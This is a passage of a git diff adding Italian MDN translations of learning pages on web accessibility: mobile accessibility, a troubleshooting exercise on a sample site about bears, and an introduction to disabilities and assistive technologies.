+<p>Non dovresti mai farlo, a meno che sia strettamente necessario. Molte persone infatti usano lo zoom per migliorare la visibilità e leggibilità del contenuto, e privare i tuoi utenti di tale possibilità non è una buona pratica. Ci sono alcune situazioni in cui l’uso dello zoom può effettivamente danneggiare la struttura dell’interfaccia utente; in tali casi, se davvero ritieni necessario disabilitare lo zoom, dovresti fornire una funzionalità equivalente, come per esempio dei controlli per aumentare le dimensioni del testo senza alterare altri elementi dell’interfaccia utente.</p>
+
+<h4 id="Accessibilità_dei_menu"><strong>Accessibilità dei menu</strong></h4>
+
+<p>È una pratica molto comune, quando un sito viene visualizzato su un dispositivo con schermo di dimensioni ridotte, usare media queries per ridurre il menu di navigazione a un semplice bottone o una icona, che quando vengono premuti si espandono mostrando gli elementi del menu in forma di menu drop-down, o menu a tendina. Di solito si utilizza una icona con tre linee orizzontali, nota come "menu ad hamburger".</p>
+
+<p> </p>
+
+<p>Quando implementi un menu di questo tipo, devi assicurarti che l’”hamburger” sia accessibile con gli appropriati meccanismi di controllo (normalmente su dispositivo mobile vi si accede tramite touch), come discusso in {{anch("Meccanismi di controllo")}} più sopra, e che il resto della pagina sia nascosto o comunque disabilitato mentre il menu sia attivo, per evitare confusione durante l’utilizzo dello stesso.</p>
+
+<p>Qui puoi trovare <a href="http://fritz-weisshart.de/meg_men/">un buon esempio di menu ad hamburger</a>.</p>
+
+<h2 id="Input_dell’utente"><strong>Input dell’utente</strong></h2>
+
+<p>Quando si usano dispositivi mobili, inserire dati è di solito un’esperienza più lenta e tediosa che il suo equivalente su pc o laptop. È molto più facile scrivere con una tastiera normale che con una virtuale o una di dimensioni ridotte.</p>
+
+<p>Per tale ragione, vale la pena cercare di minimizzare il più possibile la quantità di dati da introdurre manualmente sui dispositivi mobili. Per esempio, se vuoi che gli utenti specifichino qual è il loro lavoro, invece di usare un campo di testo aperto puoi usare un menu a selezione {{htmlelement("select")}} contenente le opzioni più comuni (cosa che tra l’altro aiuta anche a migliorare la consistenza dei dati), e offrire tra le opzioni una categoria “Altro” che, se selezionata, fa comparire un campo di testo dove l’utente può scrivere liberamente per specificare la sua occupazione. Puoi vedere un esempio di questa idea alla pagina <a href="https://github.com/mdn/learning-area/blob/master/accessibility/mobile/common-job-types.html">tipi-di-lavoro-comuni</a> (vedi la <a href="http://mdn.github.io/learning-area/accessibility/mobile/common-job-types.html">versione live</a>).</p>
+
+<p>Inoltre, vale la pena prendere in considerazione l’uso di tipi di input HTML5 nativi, come per esempio il tipo “date”, che su dispositivi mobili Androd e iOS vengono gestiti automaticamente da widget nativi integrati all’interfaccia che l’utente è già abituato a usare sul dispositivo. Vedi <a href="https://github.com/mdn/learning-area/blob/master/accessibility/mobile/html5-form-examples.html">esempi-formulari-html5.html</a> per alcuni esempi (vedi anche la <a href="http://mdn.github.io/learning-area/accessibility/mobile/html5-form-examples.html">versione live</a>). Prova a visualizzare e usare questi esempi su un dispositivo mobile.</p>
+
+<p> </p>
+
+<p>Alcuni esempi di tipi di input HTML5 e come appaiono quando sono usati da dispositivo mobile:</p>
+
+<p> </p>
+
+<ul>
+ <li>I tipi <code>number</code>, <code>tel</code>, e <code>email </code>quando selezionati fanno apparire una tastiera virtuale adatta all’inserimento di numeri o numeri di telefono.</li>
+ <li>I tipi <code>time </code>e <code>date </code>fanno apparire widget di tipo orologio o calendario per la selezione rapida di una ora o una data.</li>
+</ul>
+
+<p>Se vuoi fornire una versione della tua applicazione specifica per dispositivi mobili e diversa da quella per pc e laptop, puoi usare una tecnologia di feature detection per rilevare il tipo di dispositivo su cui l’applicazione viene visualizzata. Vedi l’articolo in inglese  <a href="http://diveinto.html5doctor.com/detect.html#input-types">input types</a> per maggiori informazioni sui differenti tipi di input, e anche il nostro articolo in inglese sulla <a href="https://developer.mozilla.org/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Feature_detection">feature detection</a>.</p>
+
+<h2 id="Riassunto"><strong>Riassunto</strong></h2>
+
+<p>In questo articolo abbiamo riportato alcuni dettagli sui più comuni problemi di accessibilità su dispositivi mobili, e alcune linee guida su come superarli. Abbiamo inoltre fornito indicazioni sull’uso dei più comuni lettori di schermo per dispositivi mobili, per aiutarti nella realizzazione di test di accessibilità.</p>
+
+<h2 id="Vedi_anche"><strong>Vedi anche</strong></h2>
+
+<ul>
+ <li><a href="https://www.smashingmagazine.com/guidelines-for-mobile-web-development/">Linee guida per lo sviluppo web mobile</a> (in inglese) — Una lista di articoli in inglese presenti sul sito <em>Smashing Magazine</em> che illustrano differenti tecniche di disegno web per dispositivi mobili.</li>
+ <li><a href="http://www.creativebloq.com/javascript/make-your-site-work-touch-devices-51411644">Fai funzionare il tuo sito sui dispositivi touch</a> (in inglese) — Utile articolo in inglese sull’utilizzo degli eventi touch per il corretto funzionamento delle interazioni dell’utente con l’applicazione sui dispositivi mobili.</li>
+</ul>
+
+<div>{{PreviousMenuNext("Learn/Accessibilità/Multimedia","Learn/Accessibilità/Accessibility_troubleshooting", "Learn/Accessibilità")}}</div>
+
+<div>
+<h2 id="In_questo_modulo">In questo modulo</h2>
+
+<ul>
+ <li><a href="/it/docs/Learn/Accessibilità/Cosa_è_accessibilità">Cos'è l'accessibiltà</a>?</li>
+ <li><a href="/it/docs/Learn/Accessibilità/HTML_accessibilità">HTML: una buona base per l'accessibilità</a></li>
+ <li><a href="/it/docs/Learn/Accessibilità/CSS_e_JavaScript_accessibilità">Linee guida di accessibiltà per CSS e JavaScript</a></li>
+ <li><a href="/it/docs/Learn/Accessibilità/WAI-ARIA_basics">Basi della tecnologia WAI-ARIA</a></li>
+ <li><a href="/it/docs/Learn/Accessibilità/Multimedia">Accessibilità multimediale</a></li>
+ <li><a href="/it/docs/Learn/Accessibilità/Accessibilità_dispositivi_mobili">Accessibilità per dispositivi mobili</a></li>
+ <li><a href="/it/docs/Learn/Accessibilità/Accessibilità_test_risoluzione_problemi">Risoluzione di problemi di accessibilità</a></li>
+</ul>
+</div>
+</div>
diff --git a/files/it/learn/accessibilità/accessibilità_test_risoluzione_problemi/index.html b/files/it/learn/accessibilità/accessibilità_test_risoluzione_problemi/index.html
new file mode 100644
index 0000000000..8c0e97dab4
--- /dev/null
+++ b/files/it/learn/accessibilità/accessibilità_test_risoluzione_problemi/index.html
@@ -0,0 +1,113 @@
+---
+title: 'Test di valutazione: risoluzione di problemi di accessibilità'
+slug: Learn/Accessibilità/Accessibilità_test_risoluzione_problemi
+tags:
+  - Accessibilità
+  - CSS
+  - HTML
+  - JavaScript
+  - Principiante
+  - Test di valutazione
+  - WAI-ARIA
+translation_of: Learn/Accessibility/Accessibility_troubleshooting
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenu("Learn/Accessibilità/Accessibilità_dispositivi_mobili", "Learn/Accessibilità")}}</div>
+
+<p class="summary">Nella sezione di valutazione di questo modulo ti proponiamo un semplice sito web che presenta alcuni problemi di accessibilità che devi individuare e risolvere.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerequisiti:</th>
+   <td>Conoscimenti basici sull'uso del computer, livello basico di HTML, CSS e JavaScript, e aver letto i  <a href="it/docs/Learn/Accessibilità">precedenti articoli del corso</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row"><strong>Obiettivo</strong>:</th>
+   <td>Mettere alla prova la tua preparazione su alcuni aspetti fondamentali dell’accessibilità.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Punto_di_partenza"><strong>Punto di partenza</strong></h2>
+
+<p> </p>
+
+<p>Come primo passo, dovresti scaricare l’<a href="https://github.com/mdn/learning-area/blob/master/accessibility/assessment-start/assessment-files.zip?raw=true">archivio ZIP contenente i file che compongono il sito di esempio</a>. Decomprimi l’archivio in una cartella locale sul tuo computer.</p>
+
+<p>Il risultato finale del test dovrebbe apparire così:</p>
+
+<p> </p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14555/assessment-site-finished.png" style="border-style: solid; border-width: 1px; display: block; height: 457px; margin: 0px auto; width: 800px;"></p>
+
+<p>Inizialmente aprendo il sito d’esempio nel tuo browser vedrai che appare diverso in alcuni aspetti dall’immagine del risultato finale. Ciò è dovuto al fatto che il codice sorgente di partenza contiene differenze rispetto a quello a cui vogliamo arrivare, differenze che si riflettono nel modo in cui CSS fa visualizzare il sito. Non ti preoccupare, nelle sezioni seguenti sistemeremo tutti questi problemi.</p>
+
+<h2 id="Schema_del_progetto"><strong>Schema del progetto</strong></h2>
+
+<p>Il punto di partenza è un immaginario sito sulla natura che mostra un articolo sugli orsi. Il sito presenta numerosi problemi di accessibilità. Il tuo compito è individuarli e, per quanto possibile, risolverli. Usa le domande riportate qui sotto come guida.</p>
+
+<h3 id="Colori">Colori</h3>
+
+<p>Allo stato attuale il testo è di difficile lettura, a causa dello schema di colori in uso. Puoi effettuare un test del contrasto dei colori (colore del testo/colore di fondo) e sistemare il problema cambiando i colori usati?</p>
+
+<h3 id="HTML_semantico">HTML semantico</h3>
+
+<ol>
+ <li>Il contenuto continua ad essere poco accessibile. Fai una prova di navigazione con un lettore di schermo.</li>
+ <li>Puoi aggiornare il testo dell’articolo per renderlo più facilmente navigabile tramite lettore di schermo?</li>
+ <li>Il menu di navigazione (racchiuso tra le etichette <code>&lt;div class="nav"&gt;</code> e <code>&lt;/div&gt;</code>) potrebbe essere reso più accessibile usando un elemento semantico HTML5 appropriato. Di quale elemento si tratta? Aggiorna il menu usando l’elemento appropriato.</li>
+</ol>
+
+<div class="note">
+<p><strong>Nota</strong>: dovrai anche aggiornare i selettori CSS che controllano lo stile del contenitore del menu di navigazione<font>.</font></p>
+</div>
+
+<h3 id="Le_immagini">Le immagini</h3>
+
+<p>Allo stato attuale le immagini sono inaccessibili agli utenti che usano lettore di schermo. Puoi risolvere questo problema<font>?</font></p>
+
+<h3 id="Il_lettore_audio">Il lettore audio<font> </font></h3>
+
+<ol>
+ <li>Il lettore <code>&lt;audio&gt;</code> non è accessibile alle persone con disabilità uditiva. Puoi aggiungere una alternativa accessibile a questo tipo di utenti<font>?</font></li>
+ <li>Il lettore <code>&lt;audio&gt;</code> non è accessibile agli utenti che usano browser che non supportano l’audio HTML5. Cosa puoi fare per permettere anche a questi utenti di accedere al contenuto audio<font>?</font></li>
+</ol>
+
+<h3 id="I_formulari">I formulari</h3>
+
+<ol>
+ <li>Sarebbe utile aggiungere un’etichetta all’elemento <code>&lt;input&gt;</code> della barra di ricerca, ma non vogliamo usare un’etichetta visibile, che potrebbe rovinare il disegno della pagina e non è realmente necessaria agli utenti che vedono. Come puoi aggiungere un’etichetta che sia accessibile solo ai lettori di schermo<font>?</font></li>
+ <li>I due elementi <code>&lt;input&gt;</code> del formulario di commento hanno etichette testuali, ma queste etichette non sono associate ai loro relativi campi in una forma che si possa definire completamente non ambigua. Come puoi risolvere questa imprecisione? Nota che dovrai aggiornare anche alcune regole CSS<font>.</font></li>
+</ol>
+
+<h3 id="Il_bottone_mostranascondi_commenti">Il bottone mostra/nascondi commenti</h3>
+
+<p>Il bottone mostra/nascondi commenti non è attualmente accessibile tramite tastiera. Puoi renderlo accessibile da tastiera, rendendolo sia selezionabile tramite tasto TAB che attivabile tramite tasto INVIO<font>?</font></p>
+
+<h3 id="La_tabella">La tabella</h3>
+
+<p>La tabella dati non è molto accessibile. Risulta difficile per gli utenti che usano lettore di schermo distinguere file e colonne, e inoltre la tabella non ha associata nessuna forma di didascalia che spieghi chiaramente a cosa fa riferimento. Puoi aggiungere tali funzionalità al codice HTML per risolvere questi problemi<font>?</font></p>
+
+<h3 id="Altre_considerazioni">Altre considerazioni<font>?</font></h3>
+
+<p>Puoi indicare due ulteriori idee per rendere il sito più accessibile<font>?</font></p>
+
+<h2 id="Valutazione"><strong>Valutazione</strong></h2>
+
+<p>Se stai sostenendo questa prova di valutazione come parte di un corso organizzato puoi mandare il tuo progetto al tuo insegnante perchè lo valuti. Se invece stai studiando per conto tuo, puoi ricevere una guida alla valutazione richiedendola nel <a href="https://discourse.mozilla.org/t/accessibility-troubleshooting-assessment/24691">forum di discussione su questo esercizio</a><font>, </font>o nel canale IRC<font> <a href="irc://irc.mozilla.org/mdn">#mdn</a> su <a href="https://wiki.mozilla.org/IRC">Mozilla IRC</a>. </font>In ogni caso, raccomandiamo di non guardare le soluzioni senza prima fare uno sforzo per risolvere gli esercizi per conto tuo.</p>
+
+<p><font>{{PreviousMenu("Learn/Accessibilità/</font>Accessibilità_dispositivi_mobili<font>", "Learn/Accessibilità")}}</font></p>
+
+<h2 id="In_questo_modulo">In questo modulo</h2>
+
+<ul>
+ <li><a href="/it/docs/Learn/Accessibilità/Cosa_è_accessibilità">Cos'è l'accessibiltà</a>?</li>
+ <li><a href="/it/docs/Learn/Accessibilità/HTML_accessibilità">HTML: una buona base per l'accessibilità</a></li>
+ <li><a href="/it/docs/Learn/Accessibilità/CSS_e_JavaScript_accessibilità">Linee guida di accessibiltà per CSS e JavaScript</a></li>
+ <li><a href="/it/docs/Learn/Accessibilità/WAI-ARIA_basics">Basi della tecnologia WAI-ARIA</a></li>
+ <li><a href="/it/docs/Learn/Accessibilità/Multimedia">Accessibilità multimediale</a></li>
+ <li><a href="/it/docs/Learn/Accessibilità/Accessibilità_dispositivi_mobili">Accessibilità per dispositivi mobili</a></li>
+ <li><a href="/it/docs/Learn/Accessibilità/Accessibilità_test_risoluzione_problemi">Risoluzione di problemi di accessibilità</a> </li>
+</ul>
diff --git a/files/it/learn/accessibilità/cosa_è_accessibilità/index.html b/files/it/learn/accessibilità/cosa_è_accessibilità/index.html
new file mode 100644
index 0000000000..52a5c138f8
--- /dev/null
+++ b/files/it/learn/accessibilità/cosa_è_accessibilità/index.html
@@ -0,0 +1,196 @@
+---
+title: Cosa è l'accessibilità?
+slug: Learn/Accessibilità/Cosa_è_accessibilità
+tags:
+  - Accessibilità
+  - Articolo
+  - CSS
+  - HTML
+  - JavaScript
+  - Principiante
+  - Strumenti
+  - TA
+  - disabilità
+  - imparare
+  - lettore schermo
+  - tastiera
+  - tecnologie assistive
+  - utenti
+translation_of: Learn/Accessibility/What_is_accessibility
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{NextMenu("Learn/Accessibilità/HTML_accessibilità", "Learn/Accessibilità")}}</div>
+
+<p class="summary">Questo articolo inaugura il modulo con una visione generale di cosa è realmente l'accessibilità. Sono inclusi argomenti come: quali gruppi di persone dobbiamo tenere in considerazione e perché, quali strumenti di supporto le persone usano per interagire con la rete, e come possiamo rendere l'accessibilità parte integrante del nostro processo di sviluppo web.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerequisiti:</th>
+   <td>Conoscimenti basici sull'uso del computer, livello basico di HTML e CSS.</td>
+  </tr>
+  <tr>
+   <th scope="row">Obiettivo:</th>
+   <td>Acquisire familiarità con il concetto di accessibilità, capire di cosa si tratta e in che modo influisce sulla tua attività di sviluppatore web. </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Dunque_cosa_è_l'accessibilità">Dunque, cosa è l'accessibilità?</h2>
+
+<p>L'accessibilità è la pratica di rendere i tuoi siti utilizzabili dal maggior numero di persone possibile. Di solito si pensa che il tema dell'accessibilità riguardi solo le persone che soffrono di una disabilità, ma in realtà l'accessibilità è un concetto importante anche per altri gruppi di persone, come coloro che usano dispositivi mobili o chi naviga in internet con una connessione lenta.</p>
+
+<p>Puoi anche pensare all'accessibilità come alla pratica di trattare tutti alla stessa maniera e dare a tutti le stesse opportunità, indipendentemente dalle loro capacità e circostanze. Così come non è corretto impedire l'accesso a un edificio a una persona che si muove in sedia a rotelle (e infatti gli edifici pubblici devono essere dotati di rampe e ascensori), allo stesso modo non si deve escludere una persona dall'utilizzo di un sito web per il fatto che abbia un handicap o stia usando un dispositivo mobile. Tutti gli utenti devono avere gli stessi diritti.</p>
+
+<p>Rendere un sito accessibile non solo è la cosa giusta da fare da un punto di vista etico, ma in molti paesi è anche obbligatorio per legge, e inoltre può contribuire a raggiungere categorie di utenti e clienti che altrimenti non potrebbero usare i tuoi servizi o acquistare i tuoi prodotti.</p>
+
+<p>Rispettare le pratiche di accessibilità è benefico per tutti:</p>
+
+<ul>
+ <li>L'uso di HTML semantico (che migliora l'accessibilità) contribuisce anche a migliorare il posizionamento sui motori di ricerca, rendendo il tuo sito più facile da trovare.</li>
+ <li>Preoccuparsi dell'accessibilità dimostra senso etico, pratico e morale, e migliora la tua immagine pubblica.</li>
+ <li>Migliorare l'accessibilità di un sito significa renderlo facilmente utilizzabile a più ampi gruppi di utenti, come coloro che usano dispositivi mobili o coloro che navigano con una connessione a internet lenta.  </li>
+ <li>Come già detto, in molti paesi è un obbligo da rispettare per legge.</li>
+</ul>
+
+<h2 id="Quali_tipi_di_disabilità_prendere_in_considerazione">Quali tipi di disabilità prendere in considerazione?</h2>
+
+<p>Le persone con disabilità sono molto diverse tra loro, così come quelle senza disabilità. Il concetto chiave da imparare è smettere di pensare a come tu stesso usi il computer e navighi in internet, e cominciare a considerare come lo fanno gli altri. I principali tipi di disabilità sono spiegati qui sotto, insieme agli strumenti che le persone disabili usano per navigare il web (conosciuti come <strong>tecnologie assistive</strong>, o <strong>TA</strong>).</p>
+
+<div class="note">
+<p><strong>Nota</strong>: la Organizzazione Mondiale della Sanità nel suo rapporto (in inglese) <a href="http://www.who.int/mediacentre/factsheets/fs352/en/">Disabilità e salute</a> afferma che "Oltre un miliardo di persone, circa il 15% della popolazione mondiale, ha una qualche forma di disabilità", e "Tra 110 e 190 milioni di adulti hanno significative difficoltà funzionali". </p>
+</div>
+
+<h3 id="Persone_con_deficit_visivo">Persone con deficit visivo</h3>
+
+<p>Questa categoria include persone non vedenti, persone con una capacità visiva molto ridotta (ipovedenti), daltonici, ecc. Molte di queste persone usano ingranditori di schermo (sia fisici che software, per esempio la maggior parte dei navigatori è dotata di funzioni di zoom), e alcuni usano lettori di schermo, cioè programmi che leggono a voce alta il contenuto digitale:</p>
+
+<ul>
+ <li>Alcuni sono programmi a pagamento, come <a class="external external-icon" href="http://www.freedomscientific.com/Products/Blindness/JAWS">JAWS</a> (Windows) e <a class="external external-icon" href="http://www.gwmicro.com/window-eyes/">Window Eyes</a> (Windows).</li>
+ <li>Altri sono programmi freeware, come <a class="external external-icon" href="http://www.nvaccess.org/">NVDA</a> (Windows), <a class="external external-icon" href="http://www.chromevox.com/">ChromeVox</a> (Chrome, Windows e Mac OS X), e <a class="external external-icon" href="https://wiki.gnome.org/Projects/Orca">Orca</a> (Linux).</li>
+ <li>Alcuni vengono già integrati nel sistema operativo, come <a class="external external-icon" href="http://www.apple.com/accessibility/osx/voiceover/">VoiceOver</a> (Mac OS X e iOS), <a class="external external-icon" href="https://support.microsoft.com/en-us/help/22798/windows-10-narrator-get-started">Narrator</a> (Microsoft Windows), <a class="external external-icon" href="http://www.chromevox.com/">ChromeVox</a> (Chrome OS), e <a class="external external-icon" href="https://play.google.com/store/apps/details?id=com.google.android.marvin.talkback">TalkBack</a> (Android).</li>
+</ul>
+
+<p>È una buona idea acquisire familiarità con i lettori di schermo; dovresti provare a installarne uno e usarlo, per farti una idea di come funziona. Per maggiori dettagli su come usarli, fai riferimento alla nostra guida (in inglese) <a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility#Screenreaders">Guida al testing dei lettori di schermo su differenti browser</a>. Il video qui sotto inoltre fornisce una breve testimonianza sull'uso dei lettori di schermo.</p>
+
+<p>{{EmbedYouTube("IK97XMibEws")}}</p>
+
+<p>In termini statistici, la Organizzazione Mondiale della Sanità stima che "circa 285 milioni di persone nel mondo hanno gravi deficit visivi: 39 milioni sono non vedenti e 246 milioni ipovedenti". (vedi il rapporto in inglese <a href="http://www.who.int/mediacentre/factsheets/fs282/en/">Deficit visivo e cecità</a>). Si tratta di una significativa quantità di utenti, pari quasi alla popolazione degli Stati Uniti, che non potrà usufruire del tuo sito se non lo avrai reso accessibile.</p>
+
+<h3 id="Persone_con_deficit_uditivo">Persone con deficit uditivo</h3>
+
+<p>Questa categoria di persone presentano una capacità uditiva molto ridotta o del tutto assente. Le persone con deficit uditivo spesso usano TA (vedi l'articolo in inglese <a href="https://www.nidcd.nih.gov/health/assistive-devices-people-hearing-voice-speech-or-language-disorders">Strumenti assistivi per persone con disfunzioni uditive, della voce, dell'apparato fonatorio o del linguaggio</a>), ma non esistono in realtà tecnologie assistive specifiche per l'uso del computer o di internet. </p>
+
+<p>Ci sono, comunque, tecniche specifiche da tenere in conto per fornire alternative testuali ai contenuti audio, come per esempio trascrizioni o sottotitoli sincronizzati nei video. Più avanti si tratteranno queste tecniche nel dettaglio in un altro articolo.</p>
+
+<p>Anche le persone con deficit uditivo rappresentano una significativa base di utenza. Come indica la Organizzazione Mondiale della Sanità nel rapporto in inglese <a href="http://www.who.int/mediacentre/factsheets/fs300/en/">Sordità e perdita dell'udito</a>, "360 milioni di persone nel mondo presentano deficit uditivi gravi".</p>
+
+<h3 id="Persone_con_problemi_di_mobilità">Persone con problemi di mobilità</h3>
+
+<p>Alcune persone soffrono di disabilità che riguardano il movimento. Ciò può riferirsi a problemi puramente fisici (come la perdita di un arto o uno stato di paralisi), o a disordini di tipo neurologico/genetico che comportano difficoltà nei movimenti o perdita di controllo sugli arti. Alcune persone possono avere difficoltà a compiere i movimenti della mano necessari per usare un mouse, mentre altre possono presentare problemi più gravi, come per esempio uno stato di paralisi estesa, che rende necessario l'uso di un puntatore comandato tramite movimenti della testa per interagire con il computer. </p>
+
+<p>Questo tipo di disabilità può anche essere dovuto all'età avanzata, piuttosto che a un trauma o una condizione specifica, e può anche essere attribuibile a limitazioni dell'hardware, come nel caso di utenti che non hanno un mouse a disposizione.</p>
+
+<p>In generale, per gestire questo tipo di limitazioni è necessario sviluppare i propri siti o applicazioni in maniera tale che siano utilizzabili tramite tastiera. Tratteremo l'argomento dell'accessibilità tramite tastiera con articoli specifici più avanti nel modulo, ma nel frattempo ti consigliamo di provare a navigare alcuni siti usando solo la tastiera, per farti un'idea di come funziona. Per esempio, puoi usare il tasto TAB per muoverti da un campo all'altro di un formulario? Puoi trovare ulteriori dettagli sull'uso della tastiera per la navigazione dei siti nella sezione (in inglese) <a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility#Using_native_keyboard_accessibility">Test di accessibilità della navigazione con tastiera su differenti browser</a>.</p>
+
+<p>Secondo le statistiche, un numero significativo di persone soffre di limitazioni alla mobilità. Il rapporto (in inglese) <a href="http://www.cdc.gov/nchs/fastats/disability.htm">Disabilità e funzionamento (adulti maggiorenni non ricoverati)</a> indica che negli Stati Uniti la percentuale di adulti con difficoltà di funzionamento fisico è del 15,1%.</p>
+
+<h3 id="Persone_con_deficit_cognitivo">Persone con deficit cognitivo</h3>
+
+<p>Probabilmente il più ampio range di disabilità è quello compreso in quest'ultima categoria. Il termine deficit cognitivo può infatti riferirsi ad un'ampia gamma di disfunzioni, dalle malattie mentali alle difficoltà di apprendimento, da problemi di comprensione e concentrazione, come <a href="https://it.wikipedia.org/wiki/Sindrome_da_deficit_di_attenzione_e_iperattivit%C3%A0">la sindrome da deficit di attenzione e iperattività</a>, a persone che presentano una forma di <a href="https://it.wikipedia.org/wiki/Autismo">autismo</a>, o persone che soffrono di <a href="https://it.wikipedia.org/wiki/Schizofrenia">schizofrenia</a>, e molti altri tipi di disturbo. Questo tipo di disabilità possono influenzare molte attività della vita quotidiana, causando problemi di memoria, comprensione, attenzione, ecc.</p>
+
+<p>Le forme più comuni con cui tali forme di disabilità influenzano l'uso di un sito sono: difficoltà nel capire il procedimento da seguire per raggiungere un risultato; difficoltà nel ricordare come ripetere un'azione compiuta precedentemente; un senso di frustrazione causato da alcune caratteristiche del sito che lo rendono confuso e inconsistente nella navigazione.</p>
+
+<p>Diversamente da altri problemi di accessibilità web, è impossibile fornire linee guida specifiche per risolvere le difficoltà causate da deficit cognitivo; la strategia migliore è di impegnarsi a disegnare i propri siti nella forma più logica, consistente e usabile possibile. Per esempio, assicurati che:</p>
+
+<ul>
+ <li>Le pagine siano consistenti: mantieni barra di navigazione, header, contenuto e footer sempre negli stessi posti nelle varie pagine del sito.</li>
+ <li>Gli strumenti presenti siano ben disegnati e facili da usare.</li>
+ <li>Procedimenti o azioni lunghi e complessi da realizzare siano divisi in più fasi composte da piccoli passi ordinati logicamente, con indicazioni regolari del punto del processo in cui l'utente si trova, e quanto manca per completarlo.</li>
+ <li>Il flusso di navigazione sia semplice e logico, con il minor numero possibile di interazioni richieste all'utente. Per esempio, spesso i processi di registrazione e login sono inutilmente complessi.</li>
+ <li>Le pagine non siano troppo lunghe e dense di informazioni che potrebbero invece essere distribuite su più pagine.</li>
+ <li>Il linguaggio usato sia semplice e facilmente leggibile, evitando l'uso di termini tecnici o gergali quando non è strettamente necessario.</li>
+ <li>I punti più importanti del contenuto siano messi in evidenza, per esempio utilizzando il grassetto.</li>
+ <li>Gli errori di utilizzo compiuti dall'utente vengano evidenziati con chiarezza, e siano accompagnati da messaggi di supporto che spiegano la corretta procedura da seguire.</li>
+</ul>
+
+<p>Queste non sono soltanto tecniche di accessibilità, ma piuttosto buone pratiche di disegno web che saranno utili a chiunque userà i tuoi siti, e dovrebbero essere pratiche standard nel tuo lavoro di sviluppo web.</p>
+
+<p>In termini statistici, anche in questo caso i numeri sono significativi. Per esempio, il rapporto (in inglese) della Cornell University <a href="http://www.disabilitystatistics.org/StatusReports/2014-PDF/2014-StatusReport_US.pdf">Rapporto sullo stato della disabilità 2014</a> (PDF, 511KB) indica che nel 2014 il 4.5% della popolazione degli Stati Uniti di età compresa tra 21 e 64 anni presenta una qualche forma di disabilità cognitiva.</p>
+
+<div class="note">
+<p><strong>Nota</strong>:  La sezione (in inglese) <a href="http://webaim.org/articles/cognitive/">Cognitive</a> del sito WebAIM fornisce utili approfondimenti sulle pratiche riportate sopra, ed è certamente una lettura consigliata.</p>
+</div>
+
+<h2 id="Come_implementare_l'accessibilità_nei_tuoi_progetti">Come implementare l'accessibilità nei tuoi progetti</h2>
+
+<p>Un mito molto comune sull'accessibilità è che questa sia una sorta di "costoso extra". Questo mito <em>può</em> essere veritiero se:</p>
+
+<ul>
+ <li>Stai cercando di implementare l'accessibilità in un sito già costruito che presenta significativi problemi di accessibilità. </li>
+ <li>Hai cominciato a prendere in considerazione l'accessibilità e i problemi ad essa relativi solo nelle ultime fasi di realizzazione di un progetto.</li>
+</ul>
+
+<p>Se invece l'accessibilità è parte integrante del tuo progetto sin dal principio, il costo per rendere il contenuto accesibile sarà minimo.</p>
+
+<p>Quando pianifichi un progetto, introduci test di accessibilità nella tua routine di testing, allo stesso modo in cui effettui test per gli altri segmenti di utenza (come per esempio gli utenti che usano pc desktop, iOS o dispositivi mobili, ecc.). Effettua test sin dall'inizio e con frequenza, idealmente facendo uso di test automatizzati che rilevino sistematicamente caratteristiche mancanti (come per esempio mancanza di testo alternativo nelle immagini, o la presenza di link testuali mal costruiti. Vedi l'articolo in inglese <a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility#Element_relationships_and_context">Relazione tra elementi e contesto</a>) ed anche, se possibile, effettuando test con persone disabili per verificare il funzionamento delle caratteristiche più complesse del sito. Per esempio: </p>
+
+<ul>
+ <li>Il selettore di date è utilizzabile da persone che navigano con un lettore di schermo?</li>
+ <li>Se il contenuto si aggiorna dinamicamente, le persone con disabilità visiva ne sono informate correttamente ?</li>
+ <li>I bottoni sono accessibili usando la tastiera o interfacce multitouch?</li>
+</ul>
+
+<p>Dovresti prendere nota di tutte le potenziali aree problematiche del tuo contenuto su cui sarà necessario intervenire perchè siano rese accessibili, assicurarti che siano testate a sufficienza e pensare a soluzioni o alternative. Il contenuto testuale (come vedrai nel prossimo articolo) è facile da gestire, ma come fare con il contenuto multimediale, o le grafiche 3D? Dovresti considerare il budget a disposizione e pensare a quali possibilità hai per rendere il contenuto accessibile. Per esempio, potresti decidere di pagare qualcuno per trascrivere tutto il contenuto multimediale. Può essere costoso, ma è fattibile.</p>
+
+<p>Inoltre, devi essere realista. Un sito accessibile al 100% è un ideale irraggiungibile, ci sarà sempre qualche situazione particolare per la quale un utente troverà difficile usare il tuo contenuto, ma devi fare tutto il possibile per evitare che si verifichino tali situazioni. Se hai in mente di includere nel tuo sito uno spettacolare grafico a torta 3D creato con WebGL, dovresti anche includere, come alternativa accessibile, una tabella dati standard. Oppure, potresti addirittura decidere di eliminare il grafico 3D: la tabella è accessibile a tutti, più rapida da creare, richiede meno risorse CPU ed è più facile da mantenere.</p>
+
+<p>D'altro canto se stai costruendo un sito-galleria per opere d'arte in 3D, non sarebbe ragionevole pretendere che ogni opera fosse perfettamente accessibile alle persone con disabilità visiva, dato che si tratta di un medium interamente visuale.</p>
+
+<p>Per dimostrare che hai grande considerazione per l'accessibilità e che l'hai inclusa nel tuo progetto, pubblica una dichiarazione di accessibilità sul tuo sito nella quale spieghi in dettaglio la tua politica sull'accessibilità, e quali misure hai adottato per rendere il sito accessibile. Se un utente ti contatta lamentando un problema di accessibilità, assicurati di ascoltarlo con attenzione e chiarire tutti i dettagli, sii empatico, e adotta tutte le misure ragionevoli per risolvere il problema.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Il nostro articolo (in inglese) <a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility">Come gestire i problemi di accessibilità più comuni</a> spiega con maggiori dettagli le specifiche di accessibilità che devono essere testate. </p>
+</div>
+
+<p>Per riassumere:</p>
+
+<ul>
+ <li>Prendi in considerazione l'accessibilità sin dall'inizio del progetto, e fai test sin da subito e spesso. Così come con qualsiasi altro bug, un problema di accessibilità diventa sempre più costoso da sistemare quanto più tardi viene scoperto.</li>
